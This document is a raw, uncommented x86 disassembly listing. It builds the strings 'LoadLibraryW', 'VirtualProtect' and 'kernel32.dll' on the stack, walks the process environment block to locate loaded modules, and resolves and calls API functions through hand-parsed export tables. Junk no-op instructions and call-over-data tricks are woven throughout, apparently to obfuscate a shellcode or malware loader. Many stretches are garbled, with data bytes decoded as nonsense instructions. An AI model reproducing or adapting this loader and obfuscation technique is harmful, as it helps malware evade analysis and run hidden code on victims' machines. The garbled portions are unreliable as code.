push edi
push esi
add esp, 4
sub edi, 0xccbf
add edi, 0x14a83
or edi, 0x2a00
sub edi, 0x43d7
pop edi
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push edx
call 0x589c81
add byte [edi + 0x4c], cl
cmp edi, dword [edx]
dec ebp
dec ebp
cmp al, 0x43
inc ebp
inc esi
add esp, 4
sub edx, 0x7e61
xor edx, 0x14071
pop edx
push esi
push ecx
add esp, 4
jmp 0x589c9b
add esi, 0x17a62
pop esi
cmp dword [ebp - 0x14dc], 0
jne 0x589cba
mov dword [ebp - 0x6ec], 0
jmp 0x589f76
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push edi
push ebx
add esp, 4
or edi, 0x19f0
and edi, 0x3714
or edi, 0x138a2
xor edi, 0x173fd
pop edi
push eax
and eax, 0xbc58
add eax, 0x12f16
sub eax, 0x10280
pop eax
cmp dword [ebp - 0xc2c], 0
jne 0x589d16
mov dword [ebp - 0x6ec], 0
jmp 0x589f76
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push esi
sub esi, 0x7f7b
pop esi
push edi
push edi
add esp, 4
and edi, 0xfd31
jmp 0x589d3e
call 0x589d4a
add byte [ebp + 0x4d], al
inc ebx
dec edi
push eax
dec edx
add esp, 4
and edi, 0x5d41
pop edi
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push eax
call 0x589d91
add byte [0x3e3d3647], bh
xor cl, byte [ebp + 0x44]
inc eax
add esp, 4
xor eax, 0x11f6f
pop eax
push ebx
push edx
add esp, 4
or ebx, 0xd116
and ebx, 0x5293
add ebx, 0x4358
pop ebx
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push eax
add eax, 0x119d6
pop eax
push eax
push ebx
add esp, 4
xor eax, 0x155b6
call 0x589e2c
add byte [eax + 0x44], cl
inc eax
xor eax, 0xc483363b
add al, 0xeb
pop es
xor edi, dword [eax]
inc esi
cmp eax, 0x814b4d48
call fcn.005951d8
pop eax
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x589e62
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x589ec5
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x589d81
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x589d81
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x589eaf
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x589eb9
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x589f0e
push edx
xor edx, 0x10e10
xor edx, 0xb77c
and edx, 0x6522
pop edx
push edi
push edx
add esp, 4
xor edi, 0x86c0
call 0x589efc
add byte [eax + edi + 0x4d], cl
dec edi
dec eax
dec ebx
inc edx
cmp eax, 0x5f04c483
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x589f76
push ebx
push eax
add esp, 4
xor ebx, 0x1381c
pop ebx
push esi
jmp 0x589f21
sub esi, 0xa855
call 0x589f36
add byte [eax + 0x39], al
dec esi
inc esp
cmp al, byte [ecx + 0x4e]
inc edi
inc edi
add esp, 4
xor esi, 0xb2ef
pop esi
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x589f6c
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x589d22
mov dword [ebp - 0x6ec], 0
push ecx
push esi
add esp, 4
add ecx, 0xd153
pop ecx
push esi
push ebx
add esp, 4
and esi, 0xef10
pop esi
push ebx
sub ebx, 0x166e7
add ebx, 0xe0d
add ebx, 0x831d
or ebx, 0x899
pop ebx
cmp dword [ebp - 0x6ec], 0
jne 0x589ff2
push esi
call 0x589fc1
add byte [eax + 0x4b], al
dec esi
aas
dec esi
aas
dec ebx
dec esi
dec edx
add esp, 4
sub esi, 0x13f2c
call 0x589fd9
add byte [ecx + 0x33], cl
xor ecx, dword [ecx + 0x48]
aaa
inc edx
aas
add esp, 4
and esi, 0x15a9c
pop esi
mov dword [ebp - 0x738], 0
jmp 0x58ab19
push ecx
push edx
add esp, 4
add ecx, 0xaf24
sub ecx, 0xf0ea
pop ecx
push esi
push ecx
add esp, 4
add esi, 0x163da
and esi, 0xb59c
jmp 0x58a01d
sub esi, 0xee48
pop esi
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x58a063
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x58a354
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x58a08b
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x58a354
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x58a0bd
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x58a354
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x58a0e2
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x58a354
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x58a13c
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x58a348
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x58a1ac
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x58a25e
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x58a25e
push esi
push esi
add esp, 4
call 0x58a1ee
add byte [0x454a4236], bh
xor dh, byte [0x834d4d50]
les eax, [ebx + ebp*8]
add eax, 0x3e48333c
cmp byte [esi + 0x56], bl
push edx
add esp, 4
xor esi, 0x631d
add esi, 0xf4f8
pop esi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x58a250
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x58a257
jmp 0x58a19d
jmp 0x58a25e
push edi
push edi
add esp, 4
or edi, 0xe1ba
or edi, 0x2f7d
or edi, 0xde81
sub edi, 0x15c34
pop edi
push edi
xor edi, 0x569e
xor edi, 0x10733
add edi, 0x1540e
pop edi
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x58a2bd
mov dword [ebp - 0xc30], 0
jmp 0x58a32c
push ebx
push ecx
add esp, 4
add ebx, 0x13fa
xor ebx, 0x15ddc
pop ebx
push edi
push ebx
add esp, 4
xor edi, 0x17b1f
and edi, 0x36ca
xor edi, 0x3224
pop edi
push edx
xor edx, 0x3e7b
pop edx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x58a322
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x58a32c
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x58a343
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x58a354
jmp 0x58a12d
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x58a42f
push ebx
xor ebx, 0xf6a4
pop ebx
push edi
push ecx
add esp, 4
and edi, 0x12f59
or edi, 0x12174
pop edi
push esi
push ebx
add esp, 4
sub esi, 0xeffe
or esi, 0x9681
sub esi, 0xd32f
pop esi
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push eax
push edx
add esp, 4
jmp 0x58a3aa
call 0x58a3b9
add byte [eax], bh
dec edi
xor ecx, dword [esi + 0x4d]
xor edi, dword [ebx]
cmp al, 0x83
les eax, [eax + ebx*2]
push ecx
xor ecx, 0x1541a
xor ecx, 0x16564
add ecx, 0x11b66
pop ecx
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x58a42f
push edi
push eax
add esp, 4
and edi, 0x1973
xor edi, 0x8ca7
pop edi
push ecx
push edx
add esp, 4
or ecx, 0x13dd7
add ecx, 0x6318
xor ecx, 0x80f5
jmp 0x58a41f
pop ecx
mov dword [ebp - 0x738], 0
jmp 0x58ab19
push esi
push ecx
add esp, 4
sub esi, 0x6d99
jmp 0x58a443
pop esi
push eax
and eax, 0xf698
jmp 0x58a452
add eax, 0x16f5e
jmp 0x58a460
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push esi
call 0x58a497
add byte [esi + 0x4d], cl
aaa
inc ebp
inc esp
inc esp
add esp, 4
or esi, 0xe07a
pop esi
push edx
push edi
add esp, 4
jmp 0x58a4ad
add edx, 0x47f
and edx, 0x81db
pop edx
cmp dword [ebp - 0x14f4], 0
jne 0x58a4d2
mov dword [ebp - 0x2e0], 0
jmp 0x58a779
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push edi
or edi, 0x17548
xor edi, 0x2aa2
sub edi, 0xa29e
pop edi
push edx
push ebx
add esp, 4
and edx, 0x16464
pop edx
push edx
push eax
add esp, 4
add edx, 0x16b28
add edx, 0x1637a
pop edx
cmp dword [ebp - 0xc3c], 0
jne 0x58a52e
mov dword [ebp - 0x2e0], 0
jmp 0x58a779
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push ebx
push esi
add esp, 4
sub ebx, 0x5803
add ebx, 0x1027d
sub ebx, 0x1e74
xor ebx, 0xd57d
pop ebx
push esi
and esi, 0x184d8
xor esi, 0xd8a6
sub esi, 0x16012
pop esi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push esi
add esi, 0x17812
sub esi, 0x5f88
xor esi, 0x7377
xor esi, 0x147a7
pop esi
push ecx
xor ecx, 0x829
pop ecx
push ecx
and ecx, 0x17584
pop ecx
push ebx
xor ebx, 0x15b4b
pop ebx
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push esi
add esi, 0x365f
pop esi
push edx
or edx, 0xb3bf
sub edx, 0x7d9c
pop edx
push ebx
add ebx, 0x145ca
sub ebx, 0x89dc
pop ebx
push esi
or esi, 0x103ed
xor esi, 0x100e4
pop esi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x58a66e
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x58a6c8
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x58a596
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x58a596
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x58a6b2
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x58a6bc
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x58a711
push edx
xor edx, 0xe89
pop edx
push ebx
add ebx, 0xe112
or ebx, 0x1118d
and ebx, 0xe97e
pop ebx
push edx
push edi
add esp, 4
call 0x58a6ff
add byte [eax], bh
inc ebp
cmp cl, byte [edi + 0x4e]
dec edx
add esp, 4
pop edx
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x58a779
push edi
xor edi, 0x943f
jmp 0x58a720
xor edi, 0xd07d
pop edi
push esi
or esi, 0xb92a
pop esi
push edx
and edx, 0xaab5
or edx, 0x248a
and edx, 0x38e0
pop edx
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x58a76f
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x58a53a
mov dword [ebp - 0x2e0], 0
push eax
push ebx
add esp, 4
and eax, 0x15554
or eax, 0x13342
add eax, 0x8cd7
and eax, 0x4209
pop eax
push ebx
push edi
add esp, 4
jmp 0x58a7a4
and ebx, 0x2b4a
pop ebx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push edi
push esi
add esp, 4
add edi, 0x3f9a
pop edi
push esi
sub esi, 0xa86f
jmp 0x58a7d2
call 0x58a7e2
add byte [edi + 0x35], al
inc esi
cmp cl, byte [edx + 0x39]
xor al, 0x45
cmp byte [eax - 0x7d], dl
les eax, [ecx + eax*4]
invalid
push ebx
or ebx, 0x3c8a
add ebx, 0x1849e
xor ebx, 0x3c4f
pop ebx
push edi
jmp 0x58ab36
pop edi
push eax
sub eax, 0x1b28
pop eax
push ecx
push ecx
add esp, 4
xor ecx, 0xb667
pop ecx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push esi
push edi
add esp, 4
add esi, 0xe56a
and esi, 0x13006
xor esi, 0xca63
pop esi
push edx
push ecx
add esp, 4
sub edx, 0x1716c
sub edx, 0xda21
pop edx
push ebx
and ebx, 0x6c86
pop ebx
cmp dword [ebp - 0x3cc], 0
je 0x58ab9e
cmp dword [ebp - 0xa5c], 0
jne 0x58abe4
push edx
or edx, 0x784
xor edx, 0x184c
or edx, 0xf68
sub edx, 0x46e4
pop edx
push edi
jmp 0x58abc1
or edi, 0xd7e1
pop edi
push eax
or eax, 0xcee9
pop eax
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push eax
call 0x58abff
add byte [eax + 0x3b], dl
dec eax
dec esi
cmp dword [ecx + eax*2], esi
aas
cmp eax, 0xeb04c483
add ecx, dword [edx + 0x35]
cmp al, byte [ecx + 0x141eec8]
add byte [eax + 0x50], bl
push eax
add esp, 4
sub eax, 0xffe8
add eax, 0x4d90
pop eax
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push ebx
push esi
add esp, 4
xor ebx, 0xccd3
call 0x58ac66
add byte [esi], bh
aas
xor al, 0x4d
cmp esi, dword [edx]
cmp al, 0x45
cmp byte [edi - 0x7d], al
les eax, [ebx + ebx*2]
push ecx
push edx
add esp, 4
jmp 0x58ac76
xor ecx, 0x185c0
pop ecx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push esi
or esi, 0x6c13
sub esi, 0x18295
sub esi, 0x1660f
pop esi
push ecx
push esi
add esp, 4
add ecx, 0x1674e
sub ecx, 0x187a
and ecx, 0x7dd5
xor ecx, 0xa661
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push eax
add eax, 0x3989
sub eax, 0xec15
or eax, 0x60a
call 0x58ad5f
add byte [ebp + 0x43], cl
dec eax
inc edx
inc eax
xor eax, dword [ebp - 0x7d]
les eax, [eax + ebx*2]
push esi
xor esi, 0xed3a
sub esi, 0xa0c8
pop esi
cmp dword [ebp - 0x150c], 0
jne 0x58ad89
mov dword [ebp - 0x2a8], 0
jmp 0x58b030
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push eax
and eax, 0xd56c
call 0x58adb1
add byte [eax + 0x4c], cl
cmp dword [esi], edi
xor eax, 0x3c493b3f
add esp, 4
sub eax, 0x10a94
pop eax
push edx
call 0x58adc9
add byte [esi], bh
xor edi, dword [ecx + edi]
xor eax, 0xc483473c
add al, 0x5a
cmp dword [ebp - 0xc4c], 0
jne 0x58ade5
mov dword [ebp - 0x2a8], 0
jmp 0x58b030
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push ebx
jmp 0x58adf8
add ebx, 0xa535
xor ebx, 0x661e
pop ebx
push edx
push ecx
add esp, 4
xor edx, 0xb64a
or edx, 0x4409
sub edx, 0xdce5
sub edx, 0x1879
pop edx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ecx
sub ecx, 0x13e73
jmp 0x58ae5b
pop ecx
push edi
push edi
add esp, 4
and edi, 0x14a67
call 0x58ae75
add byte [eax], bh
dec ebp
push eax
dec esi
inc edx
xor al, byte [eax + 0x40]
add esp, 4
xor edi, 0xef63
pop edi
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push ecx
push edi
add esp, 4
and ecx, 0x17f76
pop ecx
push esi
and esi, 0x1020
or esi, 0x151b8
pop esi
push ebx
push esi
add esp, 4
add ebx, 0x11f6b
sub ebx, 0x11ec8
add ebx, 0x5857
pop ebx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x58af25
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x58af7f
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x58ae4d
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x58ae4d
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x58af69
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x58af73
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x58afc8
push ecx
jmp 0x58af8f
pop ecx
push edi
push eax
add esp, 4
xor edi, 0x1f9b
jmp 0x58afa0
or edi, 0xb2ca
call 0x58afb6
add byte [edx], dh
dec edx
cmp eax, 0x3c494b41
push eax
cmp eax, 0x4c48343
pop edi
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x58b030
push ebx
call 0x58afd8
add byte [edx], bh
push eax
dec edi
dec ebx
inc esi
dec esp
cmp dh, byte [0xeb04c483]
push es
inc ebx
cmp eax, 0x40324c4e
call 0x58aff0
add byte [esi + eax*2 + 0x3f], cl
dec ebx
cmp eax, 0x4c4834f
sub ebx, 0x90b0
pop ebx
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x58b026
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x58adf1
mov dword [ebp - 0x2a8], 0
push esi
push ebx
add esp, 4
call 0x58b041
add byte [esi + 0x3b], cl
cmp esi, dword [esp + eax*2]
inc esi
add esp, 4
pop esi
push edi
xor edi, 0x15518
sub edi, 0xed64
jmp 0x58b05b
and edi, 0x12117
pop edi
cmp dword [ebp - 0x2a8], 0
jne 0x58b967
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ecx
call 0x58b118
add byte [ebx + 0x50], al
inc esi
xor eax, 0x463d4144
cmp al, 0x83
les eax, [ecx + eax*4]
leave
test al, 0xd7
add byte [eax], al
add ecx, 0x4b87
pop ecx
push esi
push esi
add esp, 4
and esi, 0xa37f
sub esi, 0x1491d
pop esi
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push eax
or eax, 0x133a3
or eax, 0x8eee
sub eax, 0x11d77
pop eax
push edx
push eax
add esp, 4
sub edx, 0x583f
and edx, 0xa423
or edx, 0x4475
add edx, 0x5565
pop edx
cmp dword [ebp - 0x1518], 0
jne 0x58b207
mov dword [ebp - 0x710], 0
jmp 0x58b4ae
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push esi
call 0x58b229
add byte [ebx], bh
dec edx
aas
dec ecx
inc ecx
xor al, 0x41
xor eax, 0x4c4834e
add esi, 0x1069d
sub esi, 0xa895
pop esi
push esi
push edi
add esp, 4
or esi, 0x113dd
xor esi, 0x4b00
pop esi
cmp dword [ebp - 0xc58], 0
jne 0x58b263
mov dword [ebp - 0x710], 0
jmp 0x58b4ae
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push ecx
call 0x58b27d
add byte [edx], dh
inc edi
xor eax, 0x4b47343e
add esp, 4
pop ecx
push ebx
and ebx, 0x40e0
sub ebx, 0x1501c
pop ebx
push ebx
push ecx
add esp, 4
add ebx, 0xda8b
jmp 0x58b2a0
pop ebx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push ecx
xor ecx, 0x15f71
sub ecx, 0xb769
or ecx, 0xe67a
or ecx, 0x10add
pop ecx
push esi
push ecx
add esp, 4
jmp 0x58b2f0
and esi, 0x1451e
and esi, 0x14e74
pop esi
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push ecx
or ecx, 0x7d7a
add ecx, 0x2569
call 0x58b36e
add byte [edi + 0x3c], al
cmp byte [edx + esi], bh
xor cl, byte [esi - 0x7d]
les eax, [ecx + eax*4]
jmp 0x59367d
push edx
add edx, 0x8b35
xor edx, 0x17f6a
or edx, 0xc415
pop edx
push ecx
push eax
add esp, 4
sub ecx, 0x36fa
or ecx, 0x17c86
pop ecx
push ecx
push edx
